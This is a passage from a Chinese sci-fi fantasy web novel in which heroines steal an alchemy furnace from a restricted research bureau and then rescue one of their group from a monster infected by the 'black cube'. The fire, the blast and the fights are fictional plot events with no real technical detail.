第五阙:“……不是,听你这语气好像早就料到了,怎么现在才说?”
沈逆笑道:“因为我就在等着这一刻,走。”
第五阙:……
此生最恨谜语人!
人群全都去救火了,四人顺利潜入三楼禁区。
贺兰濯放置火种的位置的确很妙。
通往禁区的一路,是火种布置的重点区域,浓烟很容易让人窒息,所以这边的人已经全部逃了。浓烟还正好挡住了监控视野,无法拍摄到她们的身影。
她们四人戴着防毒面罩,来到禁区前。
边烬鞭子轻摆间,监控全部被毁。
这下可以彻底放开手脚。
沈逆掌心扫描禁区大门,分析材料特征。
“是N6合金,比我想的要脆一点。”
边烬压住沈逆的肩膀。
“等一下,你若是现在黑进系统一样会被发现。毕竟能破解最高研发署禁区的人,除了你不会有别人。”
第五阙:“对哦,你这目标太大了。”
沈逆“啪”地一下,将一枚特质粘弹粘在大门上,双指弹了一下粘弹。
“这样,目标是不是就能扩大到整个长安城了?”
沈逆当然不会用黑客技术,要这么做的话她早就硬黑进去了,也不用亲自来最高研发署一趟。
她要用物理爆破。
拥有这等爆破的本事,长安城内可是一抓一大把。
护着众人退到安全距离,沈逆引爆粘弹。
轰——
极其厚实的合金门被炸出一个大洞,警报声骤然响起。
在急促又尖锐的警报声中,四人通过炸开的大洞,终于窥见了禁区里的东西。
空荡荡的房间里,只有一只铜皮圆身的炼丹炉。
沈逆用掌心全屋扫描,完全没有胶囊的影子。
这房间没有暗室,只有炼丹炉,以及一张看上去还算舒适的椅子。
四人面面相觑。
和她们想的相去甚远。
怎么会只有这么个玩意?
贺兰濯催道:“没时间继续耗着,护卫很快就会赶到。”
没时间细想,来都来了,当然要将炼丹炉带走。
至于是干嘛用的,带回去再慢慢研究。
沈逆扫描过了,这炼丹炉表面没有危险物质,就是一层铜皮。
炼丹炉也不大,本想抱了就走,没想到一抱没抱起来,险些闪着腰。
沈逆:?
尴尬了,她手臂还改造过!
边烬上前单手拎起炼丹炉,另一只手还能腾出来护沈逆,与此同时警惕地往通道那头看,确定还未有人赶来,利落地说了个“走”字。
沈逆:……
有点丢脸,不过被师姐搂了一下,这脸也算丢得其所。
一行人迅速往北面消防通道撤离。
消防通道在最高研发署楼身侧边,背对大门人烟稀少,四人顺利下到一楼。
不远处,消防司的人赶来了,所有人都在救火,她们找到了一早就预备好的马车。
马车也处于拟态,黑乎乎的外壳几乎与黑夜融为一体。
沈逆摸到了车门,就要让大家上去。
忽然,一团黑雾般的影子冲着沈逆卷过来,箍住她的右臂和腰,捂住她的嘴。
只听到沈逆发出一声短促又疑惑的痛呼,戛然而止,瞬间消失。
快到身边的三人都没能反应过来。
是什么东西劫走了沈逆,她们的肉眼根本没能捕捉到。
在沈逆被带走的同时,那黑影也在试图将炼丹炉从边烬手中夺走。
边烬完全没有撒手,拉拽着炼丹炉,与此同时凭借着本能侧身往前抓,没抓住沈逆,只抓下一团蛛丝一般的东西。
却又不是蛛丝,一根根极细的丝状物,坚硬如铁,却像有生命般在边烬满是血的掌心里蠕动。
是黑魔方拧出的乱体。
边烬将“蛛丝”丢弃,将炼丹炉抛给第五阙,向黑影逃逸的方向狂奔。
奔至屋顶,那黑影已经不见踪影。
“那是什么玩意?”
第五阙鸡皮疙瘩都起来了。
她还从来没体验过有什么东西从她身边带走一个大活人,她完全没能反应过来。
边烬双眸一眨不眨地望向黑夜,心跳如鼓。
没发现自己的手因为不管不顾的一抓已经受伤,双眼也在迅速充血。
边烬:“是无脸女。被黑魔方感染的无脸女。”
第五阙:“什么……那无脸女本来就厉害,被黑魔方感染,岂不是……”
后半句没敢说。
贺兰濯道:“沈逆应该戴了电子表,电子表有定位功能,她应该可以用相连的模块直接开启共享位置。”
第五阙从地上捡起电子表碎片。
“应该是被无脸女扑上来那一下弄碎的。看来……联系不上了。”
边烬站在高处,她第一次觉得长安城如此之大。
大到她前所未有的心慌。
第89章
短暂的晕眩后,沈逆找回了一些意识。
她感觉自己正被什么东西吊在半空,那吊着她的事物还在极快地奔跑,颠簸不已。
浑身被蛛丝一样的东西紧紧裹着,紧到胸口发痛,几近窒息。
只有一只眼睛能勉强张开极窄的缝。
抓她的是什么玩意……
沈逆被颠得想吐,感觉那些蛛丝在不断收紧,体内的模块感受到了某种吸引,嗡嗡作响。
这熟悉的共振,是黑魔方正在准备吞噬她的身体。
劫走她的居然是异兽?
异兽出现,为什么没有警报?
被劫走之时,她和师姐、第五阙还有贺兰濯在一块儿。
两个双S级,两个S级,加在一起都能灭了一座城了,居然没能防得住一只异兽?
不太对劲。
来不及多想,将这见谁都要往上扒的黑魔方弹出去。
沈逆用意识开启体内的防护模块,一层看不见的虚电容外衣立即从头到脚罩住她的身子。
乱体猛地被虚电容外衣弹开,松开了沈逆。
上回和鲲鹏级异兽遭遇战,沈逆险些自断双腿后,她没少思索有什么办法能预防黑魔方吞噬。
思来想去,能锁住黑魔方的虚电容壳体是当下最理想的防护衣。
只是这玩意对人体有一定影响,还特别烧银子,技术也不够成熟,铺在身体表面最多只能维持一炷香的时间。
但一炷香的时间,也足够保命。
此时开启虚电容外衣防护,黑魔方拧出的乱体纷纷从她身上剥离,总算能松口气了。
还有一层更粗壮的金属物捆着她双手、腰和腿。
“唔!”
用尽全力往外挣!
好,纹丝不动。
到底是什么玩意……
沈逆艰难地转身,往身后看,一张没有五官的脸近在咫尺。
是无脸女。
沈逆已经料到这次计划秦无商或者无脸女或许会出现。
出现最好,捆了丢在案发现场,最高研发署的火情和丢失的宝物,都可以算到它们头上。李渃元和李极也能继续对咬下去。
没想到这无脸女居然感染了黑魔方,能力大增。
没绑了它们,反而被它们绑了。
沈逆心中怅然一笑。
常在河边走,终于一头栽河里。
无脸女这张脸即便没有五官,依旧能看出已经被黑魔方拧得错乱。
原本按照边烬炼出的鹅蛋脸,此刻像一团随意砸在地上的橡皮,轮廓十分不规整,边缘甚至在一浪一浪地浮动。
黑色的乱体从它的脖子、肩膀和身体各个部位突出,犹如身体里有一棵疯狂向外生长的树,极度茂盛的枝干肆无忌惮地刺破皮肤,汹涌地扩张,变成一面凶恶的蜘蛛网状。
无脸女的身子也被拧成蜘蛛状,八条腿在屋顶极快地移动。喷出乱体锁住前方,带着身子轻盈地从楼与楼之间荡过。
这无脸女感染黑魔方后,起码也鲲鹏级的异兽,怎么跑了这么久没有半点警报声?
沈逆正疑惑,无脸女带着她从高处降落,八只脚踏在寂静破败的巷子里。
贴在无脸女头顶上一直被风卷着翻飞一样事物,终于缓缓降下。
这玩意沈逆见过,黄色的符纸,上次见还在秦无商额头上。
不止是头顶,从窗户的倒映中发现,无脸女的后背上布满了符纸。
难道是这玩意能屏蔽全境追踪器?
不对。
这无脸女被黑魔方拧得错乱无章,但它居然还会在马车边潜伏,等到目标靠近,一把将目标抓走,速度奇快。
此时此刻,它也在选择僻静无人的路线,有计划地把沈逆带往某处。
从头到尾它都在思考。
和沈逆之前接触过的所有异兽都不一样。
或许黑魔方让异兽长出了一颗能够思考的大脑,不像最初那么机械刻板。
但沈逆也不是没在跟进异兽的动向。
迄今为止出现在长安城的异兽,除了逃跑和跟踪,尚未发现伪装的能力,更不用说谋划。
沈逆倾向于这符纸暂时克制住了黑魔方的入侵,让无脸女保持住了部分的思维,追踪器甚至没将它纳入异兽的范畴,所以没有报警。
那就有意思了。
无脸女贴这符纸可以理解,秦无商呢?
秦无商为什么要在自己的额头上贴符纸?
不知道无脸女要把她带到何处,上次就处心积虑要把她绑走,这次借着黑魔方的力量倒是得逞了。
联想到秦无商那一手炼魔种的技术,倒挂在半空的沈逆忽然想明白了。
不是也要把她炼成魔种吧?
咦……
炼魔种。
炼丹炉?
沈逆好像忽然明白炼丹炉是用来干什么的了。
只是,这玩意为什么会藏在最高研发署那片连署长都进不去的禁区里?
魔种,秦无商的师姐,国师,李渃元的魔种,怪病……
一系列原本错综复杂的线索,此刻在沈逆的脑海中飞速拼接。
拼接出一条让沈逆脊背发凉的猜想。
思绪至此,虚电容外衣防护即将结束的预警横跨视网膜。
沈逆倒吸一口气。
现在的重点不在李渃元身上,而在于她要怎么挣脱这无脸女。
要是虚电容外衣防护结束,黑魔方病毒会立即将她吞噬。
她可不想师姐找到她的时候,她已经被黑魔方拧成了丑东西。
得尽快脱困。
蛛丝一般的乱体弹开后,沈逆的身子依旧被紧紧勒着。
勒着她的好像是鞭子。
无脸女的鞭子不是连着手臂断了吗?
这么说来,手臂和鞭子应该被修复了,说明秦无商的魔种依旧在长安城内。
是那鞭子的话,真不好脱困。
沈逆双臂被锁在一起,但手腕可以转动,改造过的手臂空间勉强能打开。
也就说,她能手造武器。
幸好这几日因为师姐的冷落,她了无生趣时就扎在工作室里搞研究。
对付刀枪不入的无脸女,用高温燃烧最直接。
也通过那截断臂反复实验后确定了燃点。
可是现在有个问题,这么近的距离下,她手一动,一定会被无脸女发现。
就算她手搓武器再快,一旦被发现便会激怒无脸女,恐怕瞬间就会毙命。
时间一点点流逝,无脸女带着她越跑越远。
沈逆掌心里全是汗。
怎么办?
……
咚、咚……
微弱的心跳感应,很远很远。
那是沈逆的心跳,越来越慌张的跳动,通过情感共鸣传递给边烬。
沈逆的心跳还在,说明她暂时没事。
但跳动的频率过高,她现下显然处于非常紧张的状态。
边烬面色紧绷,后颈全是冷汗。
无论是墙还是风,都有可能削弱情感共鸣的效果。
随时都有可能失去沈逆的方位。
边烬只能咬着牙急追,尽量缩短距离。
炼丹炉已经让侦查鸟带回侯府。
边烬心如火焚,越跑越快。
一直跟着她身后的第五阙气喘吁吁,贺兰濯干脆跑不动了。
贺兰濯叉腰单手撑着墙,光喘气说不出话,对第五阙摇摇头,示意她跟着边烬,自己歇会儿再追。
第五阙只回头看了眼贺兰濯,边烬就飞成了一个小点、
第五阙边跑边向贺兰濯点了点自己的电子表,示意保持联系。
贺兰濯喘了半天,终于顺过了气。
不远处是城中护卫四下排查的声响和呐喊,更远处最高研发署的火光像一根夜幕下安静燃烧的蜡烛。
她还能嗅到刺鼻的烟味。
贺兰濯慢悠悠地转身,租了马车,往靖安侯府的方向去。
……
秦无商独自坐在长安城郊双极楼的东极峰峰顶。
怎么还没来。
秦无商从巨石上跃下,焦急地来回踱步。
随着双极楼的衰败,留于门内的老人们基本上不上峰顶。
此处能眺望整个长安城,独一份的壮阔,可惜如今人迹罕至了。
倒是适合干一些不为人知的脏事儿。
秦无商在这儿等着魔种把沈逆带来。
李极想要沈逆,她也想要。
秦无商一直梦想着用沈逆的基因炼出低秩矩阵,对边烬的模型进行高效微调。
说人话便是,让沈逆的基因成为“养料”,去喂边烬的魔种。
以边烬的基因为底色,加入沈逆的风格,从而炼出一个拥有沈逆风格和能力的边烬的魔种。
这魔种肯定还是更像边烬,能力也偏战斗系。加入了沈逆那邪性的性格和双S极机械师的基因,会炼出什么样的尤物?
光是想象,秦无商都兴奋到发抖。
只可惜,这件事理论上可行,却少了一个重要的器物。
师姐的炼丹炉。
当初师姐死在大明宫时,用毕生心血打造的炼丹炉也被李渃元那毒妇扣下了。
这么多年,秦无商一直想拿回来。
要是有师姐的炼丹炉,这些年她何必自己胡乱摸索炼丹术,走了无数的歪路。要不是李渃元,她早就炼成了边烬的魔种,不至于像现在这般少了脸和脑子。
炼丹炉被李渃元藏在什么地方,她一直没头绪。
直到发现沈逆对最高研发署的禁区感兴趣,秦无商再对比李渃元独自进出最高研发署的时间,心中一喜。
她心心念念的炼丹炉极有可能就藏在此处。
今夜不用李极说,她也会来。
秦无商昨夜到现在一直兴奋睡不着。
沈逆,炼丹炉……
她一直等着魔种把她朝思暮想的宝贝们带来。
要是能抓回边烬就更好了。
极远之处,最高研发署的方向闪着的火光,在夏季高阔的夜空中别有一番风味。
远在弦昼的秦无商能和自己的魔种通感,但无法和边烬的魔种思绪相接。
此刻只能和自己的魔种一同在东极峰等待着。
咚!
无脸女后侧的一条腿忽然被黑魔方拧断,带着沈逆坠入一片荒废的销金窟中,砸烂屋顶,撞得满地狼藉。
战事连连,又逢黑魔方作乱,长安城内四下破旧荒芜。曾经辉煌过的娱乐场所倒闭的倒闭,转行的转行,留下一个个巨大的“坟场”。
这处销金窟便是曾经长安城最热闹的地界之一,盛时纸醉金迷,败了,便成了满是尘土的黑窟窿。
头晕目眩的沈逆猛地打了个喷嚏。
无脸女被黑魔方拧着,痛苦万状间,喉咙深处传来一阵阵野兽般的浑浊低吼,越来越多黑色的乱体从它身体内扎出来,它狂躁地带着沈逆在遍布灰土的销金窟里乱撞,发了狂般大吼。
沈逆胸口撞在石台上,擦着石台而过,腹部又被猛击,吐出一大口血沫。
时间不多了,无论这无脸女会不会发现她要造武器,她也得一试,不可坐以待毙。
沈逆先试着打开手臂上的面板,发现无脸女的注意力完全没在她手上,仰着已经被拧成方形的脑袋,不断颤抖着。
沈逆立即去造点火器。
无脸女像察觉到了什么,忽然降下脑袋,庞大的头颅发着颤,几乎在半息间逼近沈逆,呼号声震得沈逆耳膜剧痛。
沈逆也停下了造点火器的动作。
被逮了个正着,冷汗从鬓角滑落。
不过,沈逆想到一件事。
无脸女虽然没有五官,但它能捕捉目标,证明它有自己观察外界的方式。
此刻即便它看到了沈逆造武器的动作,不会用手的她,能理解沈逆在做什么吗?
虚电容防护结束倒计时。
五……
沈逆全身紧绷。
无论如何,只能拼一下了!
四……
沈逆浑身上下只有手在动。
三……
点火器在无脸女的面前,被沈逆亲手造出来。
二……
沈逆握住了点火器的开关。
一。
沈逆笑道:“看来人类和其他生物的根本区别,的确在于人类会用工具,会用手。”
无脸女脸被拧成一张恐怖的口器,就要将沈逆吞进去时,点火器轰在它脸上。
烈焰一瞬间吞噬了它的脑袋,沿着它的躯体飞速蔓延,连带着鞭子也被灼断。
无脸女惨叫着后退,沈逆终于被松开了。
沈逆撑起剧痛的身子刚站起来,乱体拧成一条极长的棍子,一棍重重打在沈逆后背上。
沈逆整个人跌回地面,血喷了满地,一时无法起身。
往后侧眸,见身后那根棍子又拧成了巨斧,轰然劈下。
沈逆咬牙翻身,堪堪躲过巨斧,无脸女抬腿横扫,正中沈逆的腰间。
要不是沈逆及时用手臂机械外骨骼抵挡,卸下了部分力道,这一击她的腰椎恐怕要当场断裂。
沈逆从一排摞在一起的椅子上跌下去,扶着腰站不起来。
无脸女太强了……
要是对上完全不手下留情的师姐,应该也是这样的局面,毫无还手之力。
沈逆意识已经有些模糊,猛烈燃烧的无脸女已经发了疯,正向她狂奔。
死亡的冰冷从心上漫过,她甚至看到了双极楼的雪天。
看到了牵着她往山下走的师姐。
真的要死在此地么……
就在她万念俱灰时,视野上突然出现一行字。
【您的妻子边烬申请身体托管,是否同意?】
【是/否】
第90章
距离靖安侯府还有两条街,马车停了下来。
贺兰濯耳朵动了动。
细碎的脚步声在慢慢逼近,普通人很难发现。
十人,不,十二人,全都是A级以上天赋者,还有一个S级的。
他们全都是李极的护卫。
果然如贺兰濯所想,李极还是想抓曾倾洛,趁沈逆和边烬不在时动手是最佳时机。
这些人不好应付,靖安侯府的护院们恐怕不是对手。
贺兰濯想了想,还是得去找些帮手。
帮靖安侯府,也帮她自己.
最高研发署的火势来得莫名其妙。
窦璇玑正带着下属在城中夜查,看到起火,她立即让下属分成南北两拨,从两侧大门进入,驰援最高研发署,帮忙灭火。
谁知下属们完全不听她的号令。
“咱们去有什么意义,肯定已经报告给消防司了,让消防司专人去灭火吧,咱们去只会添乱。”
“就是,我们有夜查任务在身,万一别处出了什么意外,窦队正可担待得起?”
“你们别说了,窦队正可是丽景门最年轻的队正,新官上任三把火,比最高研发署的火势还旺,小心把你们都烧了。”
几人一唱一和地冷笑起来。
房判没想到她们竟会这么说。
丽景门夜查就是看看城中有什么异动,哪个署哪个司有事,她们都可以出手相助。
现下最高研发署火光都冲天了,窦璇玑的命令完全没问题。
这些人分明就是眼红窦璇玑升为队正,硬是和她唱反调,寻她的晦气。
房判正要开口,被窦璇玑暗暗拉一下。
窦璇玑道:“那依各位所言,最高研发署现在起了大火,即便我下了命令,你们也都收到命令,也完全不想服从上级指示,根本不愿出手相助,对吗?”
先前第一个唱反调的女官脸色变了变,还待再说什么,窦璇玑已经不去看她,只对房判说:
“咱们去。”
房判:“走!”
窦璇玑和房判往最高研发署走,其他属员面面相觑,有人一言不发跟上,也有人思来想去半天,还是决定追随窦璇玑。
那三个不服她的属员,都是丽景门的老人了。最大的年龄比窦璇玑大了七岁,一心想争这个队正,没想到被窦璇玑这年轻后辈抢了先,心里自然不是滋味。
她们骂了一句“真把自己当回事”,但身为门规森严的丽景门女官,却也不敢真的忤逆上峰,只能跟在窦璇玑身后,支援最高研发署。
窦璇玑等人赶到最高研发署时,消防司还在灭火。
有个高挑威严的身影背对着她,正向消防司属员问起火的细节。
房判也看到了那人,用胳膊肘怼了窦璇玑一下。
窦璇玑嘴里说着“怼我干嘛”,其实目光早就落在李司身上。
有阵子没见着穿着金吾将军官服的李司,像看陌生人般不太熟悉。
李司头戴武冠身着绢甲,站在人群中比旁人高出大半个头,想不看到她都难。向消防司属员问话时,手里还转着左.轮枪。
被问者脸都被熏黑了,坐在地上休息,手里拿着喝干净的水壶,刚喘过气。
“不知道啊,莫名其妙就走水了,原因还没来得及调查。”
李司问:“可有伤亡?”
“暂时没有。”
“那可有人困在里面?”
“听说都撤出来了。”
李司:“好么,这么大的火居然无一伤亡,这火生得很懂事嘛。”
窦璇玑和房判默默对看,又望向不远处摞在地上的材料和仪器,也觉得蹊跷。
水火无情,怎么可能懂事?
窦璇玑双臂抱在身前,对房判道:
“看来是有人刻意纵火,不为伤人,但目的肯定不纯。”
李司听到她声音,惊喜回头。
窦璇玑面无表情,正想向李司的方向动动手指,算是打招呼。
没想到身侧传来一声冷笑。
依旧是那三人,也没看向窦璇玑,凑在一块儿闲聊似的嘴不停。
“刻意纵火不为伤人,那还能是为什么?”
“总不能是为了大夏天的点个热闹吧?”
“别说大实话,不然你让大侦探的面子往哪儿搁?”
三人你一言我一语,没提窦璇玑的名字,却句句带着挑刺和嘲讽。
窦璇玑年纪小,脾气大。
忍了一次,自然不会忍第二次。
那三人察觉到窦璇玑被激怒了,没半分惧意。
她们聊她们的,又没点名道姓,窦璇玑要是为难她们,她们便联合起来往上告,告到副门主甚至是门主面前她们都占着理。
窦璇玑刚往前踏了一步便顿住了,目光穿过她们仨,看向她们身后。
一大团阴影从身后笼罩下来,她们猛然回头,发现金吾将军不知何时出现在她们身后。
手里那把左.轮枪转着转着被李司握住,枪口在她们脑袋附近晃晃荡荡,随时都有走火的可能。
看多了李司狗里狗气的笑,忽然沉下脸,又变回那阴气森森的金吾将军,窦璇玑一时还有点不适应。
李司:“要不是这身丽景门的官服,还以为你们是从哪儿跑来碎嘴的闲妇。怎么,你们这么确定纵火的原因,你们是同谋?”
李司这几句话说得相当不客气,沉着脸时杀气横生,弄得三人脸色又青又白。
可碍于李司金吾将军的身份又不好招惹,只能不阴不阳不肯落下风地笑笑,随即快步离开。
看她们不敢正面冲撞,怄了一肚子气逃走,房判开心道:
“李司将军多亏你帮忙,真解气。”
李司对着她们,方才恐怖的表情一扫而空,熟悉的笑浮上脸。
“甭客气,本来我就讨厌丽景门的人……”
这话一说,立即意识到不对头,马上收回后半句,险些闪了舌头。
窦璇玑:“怎么不说了?”
李司:……
窦璇玑:“房判,咱们走,别碍将军的眼。”
窦璇玑往最高研发署里面去,想看看里面还有没有被遗漏的人。
李司立即向属下布置了现场勘查的任务之后,假装也要到里面去调查,跟在窦璇玑身后,小声道歉:
“刚才口不择言,莫怪莫怪。”
窦璇玑都没回头。
“我看你不是口不择言,是不小心说出了真心话吧。”
“你要这么说其实也对,除了你俩,丽景门其他人我真不喜欢。你们呢,就是丽景门这泥潭里出淤泥而不染的……”
李司还没说话,就被窦璇玑用个东西压住了脸。
窦璇玑嫌弃道:“可闭嘴吧,也不怕吸进毒烟。”
窦璇玑压在李司脸上的是个防毒面罩。
李司立即开开心心戴上。
有些人凶巴巴的,其实细心着呢。
心里还在为窦璇玑对她的照顾美滋滋,戴上面罩一回头,看到窦璇玑将房判的帷帽掀起来,亲手帮她戴上。
没有帷帽遮盖,李司隐约看到了房判的脸。
房判感受到了目光,脸立即往窦璇玑的方向藏。
窦璇玑瞪了李司一眼,帮房判戴好。
李司:……
给她就直接摁脸上,对小搭档就温温柔柔帮忙戴。
李司心里酸溜溜的,但一想到她俩认识多久,搭档多久,一块儿出生入死的,感情肯定稍微好一点,能理解。
那她就做窦璇玑第二重要的人,没事。
火势已经基本被扑灭,检查了一番后,李司的想法和窦璇玑一致,这火放得很刻意,是为了某种目的。
等她们到三楼,发现此处被炸了一个大洞。
房间里只剩一张被烧得只剩骨架的椅子。
她们都知道这儿是最高研发署的禁区,里面藏着什么倒是不清楚。
李司将现场全部写入记忆模块。
“看来放火的人声东击西,就是为了这个啊。”
走出浓烟不散的最高研发署,摘掉面罩。
窦璇玑心事重重地问李司:“你觉得这件事和她有关吗?”
“谁?”
窦璇玑四下警惕地看了看,道:“靖安侯。”
李司倒是没往沈逆身上想,不过窦璇玑这么一提,也有可能。
能够不伤一人破入禁区,把里面的东西偷走,这么邪门的事情寻遍整个长安城,除了那只臭狐狸,还有谁能办到吗?
李司还没开口,忽然窦璇玑“咦”了一声。
窦璇玑:“你们看到了吗?”
李司和房判:“什么?”
“有喊杀声,从靖安侯府方向传来。”
李司和房判对视一眼。
李司:“没啊。”
房判:“璇玑,这里距离靖安侯府可隔着半个坊呢……”
“但我听到了。”
窦璇玑的玉璧升级之后,能力全面提升,听觉也灵敏许多。
不疑有它,立即拽了边上的马,策马狂奔。
房判傻眼,她怎么说跑就跑!
房判正四处找马,李司一跃而起,直接跳到窦璇玑身后。
窦璇玑:“你!”
李司心道,原来你这般看重沈逆,我这排名还得往后排。
李司环住她的腰道:“我随你同去!”
窦璇玑被她从后方抱着,脸庞有些热意,但李司的确是个好帮手,眼下两人同乘,不想李司坠马,也只能勉为其难维持这样的姿势了。
被落在远处的房判:……
窦璇玑回头对房判道:“这是我的私事,你先回去!”
房判在风中凌乱了一会儿,找了一圈找不到可用的马,默默打开租赁马车的软件,跟去靖安侯府。
藏在暗中的贺兰濯指尖从颞颥上撤开。
看来这丽景门的队正关心则乱,并没怀疑侯府的喊杀声是催眠。
其实贺兰濯也不算催眠窦璇玑,只是将远处的危机传入她耳朵里罢了。
贺兰濯不再坐马车,目标太大,踩上飞轮,一蹬,飞轮载着她安静地低空飞向靖安侯府.
【您的妻子边烬申请身体托管,是否同意?】
【是/否】
沈逆用最后的一点精力选了“是”。
生死关头竟忘了连理模块的重要功能。
若出现危机或无法解决的难题,伴侣可以在保持清醒的状态下,以自己的意识力托管对方的身体。
虽然时限只有一炷香的时间,但也足够了。
只要托管给边烬,边烬就能通过她的视野确定她的位置。
这处销金窟格外有名,即便是向来对这等地方嗤之以鼻的师姐,肯定也知晓它。
身体托管出去,沈逆就会失去意识。
在生死一线失去主导,将身体交付出去,需要极大的胆量。
沈逆完全没犹豫,立即答应。
她这条命本来就是师姐捡回来的,师姐若要,随时还回去都行。
更何况,这世间还有比边烬更可靠的人吗?
沈逆安心里闭上眼睛,等待着边烬接管她。
意识一断。
不到半息,边烬睁开了沈逆的眼睛。
无脸女就在眼前!
以边烬的意识接管沈逆的身体,反应能力也与边烬一般超群。
在无脸女扑过来的一瞬间,没有任何武器在手边,边烬灵巧地躲开后,察觉到了破绽,本能地一拳砸向无脸女脸上。
一拳过去,无事发生。
连无脸女都怔了一下,不明白拳头这么软,居然还敢出手。
边烬急忙躲过无脸女的反击,在地上艰难地滚翻之后才知道,不是无事发生,无脸女没事,她有事。
手好痛。
不仅手痛,浑身都痛,躲两下腿软,软着软着又开始吐血。
边烬:……
沈逆受了些伤,不足以致命,可沈逆的身子已经坚持不住。
体质太弱,需要加强训练。
边烬尽量躲闪,眼下不能硬拼,这不是她自己的身子,无法和无脸女正面交锋。
绕着无脸女转圈,侥幸躲过她的进攻。
沈逆的戒棍藏在何处?没有武器太危险。
边烬一边躲一边探索。
好像是这儿!
边烬摸到她后腰的一处类似工具箱的事物。
无脸女被不灭的烈火灼得发狂,动作也变快了,转身间杀到边烬面前。
边烬从工具箱里抽出一样事物,狠狠打向无脸女。
结果。
她打向无脸女的是个保鲜功能极好的保鲜袋。
保鲜袋砸在无脸女身上直接破损,撒了一地的油炸地豆。
无脸女:?
边烬:……
砍出去一把花,弹出来一碟桂花糕,喷满头的螺丝钉……
销金窟俨然变成了垃圾场。
边烬脑子嗡嗡响。
这孩子怎么什么都往身上藏?
而且总藏在意想不到的地方,弄得她防不胜防。
无脸女的巨斧当头劈下,若是边烬本人一定徒手接住,可沈逆的身体不能这么做。
往一侧翻滚躲避,边烬想站起身,沈逆的身子已经彻底没力气了,脚下打滑,单膝跪在地上。
无脸女嗅到了时机,巨斧拧成两把砍刀,扑杀上来的同时,砍刀从左右两侧交错往沈逆身上切。
边烬没躲。
因为已经不需要躲了。
边烬本人从身后破窗而入,一脚蹬飞无脸女。
……
不知过了多久,长得好像睡了一夜好觉,沈逆意识再次回归时,发现自己身子在轻微地晃荡。
一丝黑发和火星子从她眼前飘过,烧断了一截青丝。
那是边烬的长发。
“师姐?”
沈逆正被边烬抱在怀中。
果然如她所想,边烬操控她的身体,不仅保下她一命,还争取到赶来的时间!
可是为什么……身子好像更痛了。
边烬双臂紧紧抱着沈逆,无脸女的乱体拧成鞭子,带着火焰呼啸着往边烬身上抽。
沈逆心头发紧。
边烬双手被她占着,要如何应付无脸女?
边烬带着她蹬向身侧的墙,高高跃起,躲过鞭子的同时冲向无脸女,膝盖重重磕在无脸女脸上。
无脸女擦着地面撞碎了整面墙,跌进隔壁屋内,火星四溢。
无脸女刚要从一堆碎砖烂木中站起来,边烬依旧抱着沈逆长腿横扫,再次将她扫飞。
无脸女像颗炮弹,打碎销金窟肮脏的琉璃墙,飞入满是荒草的院内。
边烬完全不想给无脸女任何喘息的机会,紧抱着沈逆追到院中。
边烬半个字未说,没有一点想要把沈逆放下来的意思。
她的怀抱才是最安全的地方。
就算让出双手,只有两条腿对战,依旧打得感染了黑魔方的无脸女毫无还手之力。
当然,此时的无脸女已经被沈逆放的那把火灼得气力砍半。
院内干枯的荒草着了一点火便争先恐后燃成一大片。
火光太盛,还没看到无脸女,只见三道黑影以极快的速度从火焰中心飞射,刺向边烬和沈逆。
那是乱体拧出来的暗器!
暗器刺来的速度几乎无法用肉眼捕捉,边烬迎面追来的速度更快。
终于赶到的第五阙看到这幕,大喊道:“危险!”
疾霆流光间,边烬抱着沈逆飞速旋身,两道锋利的暗器从边烬后背擦过,擦出一片血雾。
另一道刺向沈逆的,被边烬用嘴咬住。
与此同时,边烬借着扭身的力道一脚狠狠跺向火光中心。
火色轰然四散,无脸女的心口被边烬踩碎。
90-100
第91章
火舌扑朔了一会儿,立即往边烬身上舔。
边烬后退几步,没让火真跟上来灼了沈逆。
边烬依旧警惕着,把沈逆的脑袋按在自己的颈窝内,浑身的肌群都在发烫发紧。
无脸女的内核被边烬踏碎,黑魔方的乱体慢慢软了下去,犹如干涸的树,眨眼间枯萎。
它被沈逆烧的这一下耗损巨大,加之边烬一腔慌张之后的怒意全泄在它身上,半点不容情,转瞬便没了声息。
第五阙都看傻了。
知道边烬厉害,没想到下手比她想的要狠多了。
边烬忽然盯向她,第五阙被这一眼看得心跳错乱,鼻尖上都冒出了冷汗,下意识想逃走。
下一刻,边烬认出了第五阙,收回了敌意。
她神情明明无甚变化,却让人敢靠近了。
第五阙察觉到,边烬正处于应激之中,不允许任何人试图靠近沈逆。
无脸女身上的火渐渐熄灭。
感受到沈逆在怀,听到她的心跳,边烬闷在心口的高压总算得到一丝缓解。
但心口的闷痛一时半会儿无法消散。
第五阙从墙头跳下来,检查了一下无脸女。
内核和还未彻底成形的大脑都被碾碎了。
侦查鸟飞来,安静地落在沈逆肩头。
沈逆打算将无脸女装回侯府研究,虽然烧得体无完肤,但还是很有研究的价值。
隔壁有人声在靠近,应该是巡城的护卫。
刻不容缓,沈逆匆忙查看一遍,见边烬似乎没有受什么伤,对她道:
“师姐放我下来吧。”
边烬还未松开她,感受她要下地的意愿,这才意识到自己情绪太过外露。
双臂犹豫间松动,沈逆已经离开她的怀抱。
紧抱了许久的人忽然离开,怀中空荡荡的,像生命的一部分忽然被剥离。
边烬看着沈逆撑着身子,背对她越走越远,心跳一瞬失控。
……
无脸女剩下的部分,沈逆挑挑拣拣,还能带走的用虚电容壳体装起来,让侦查鸟带回侯府。
第五阙给贺兰濯飞鸽传信,贺兰濯半天没回,弄得她心里有些不安,对沈逆道:
“贺姐姐不知道干什么去了,我得去找找她,回头再来看你。”
“去吧,我肯定活着等你来看我。”
第五阙见她还能开玩笑,侯府的马车来了还有边烬在侧,便放心离开去找贺兰濯。
沈逆本就没什么体力,勉强把无脸女装好,这会儿伤处火辣辣地疼,就快站不住。
本想赖着边烬,让边烬再多疼疼自己。
忽然想起自己在边烬梦境里的模样。
她在边烬梦里是个十岁小孩,方才边烬连打斗的过程都不放下她,抱她的姿势也和抱孩子无异。
想到此处,立刻就能独立行走了。
边烬已经做好要来抱她上车的准备,却见她自己上去了。
沈逆咬着牙,将几乎要散架的身子勉强撑上了车。
没注意到身后不吭声的边烬两道灼热的目光凝在后背。
边烬跟着上了车,车厢门合上。
马车行驶了一段路,沈逆坐不住,边烬揽了她一下,还是没有任何言语,将她揽到自己腿上躺着。
边烬拿来马车内的医药箱,为沈逆扫描内脏的情况。
“哪疼,跟我说。”
边烬声音冷冷的,马车内的灯光很昏暗,她逆着光,看不清表情,只被照亮一个昏黄的轮廓。
沈逆被疼痛占据着,昏昏沉沉间思绪都变得迟钝了。
为什么师姐话这般少,像在生气。
沈逆手压在心口,疑惑道:
“师姐,我心怎么跳得这般快,还痛痛的……”
边烬:“你内脏出血了,锁骨和肋骨断了好几根,心跳得自然快。”
是这样吗……
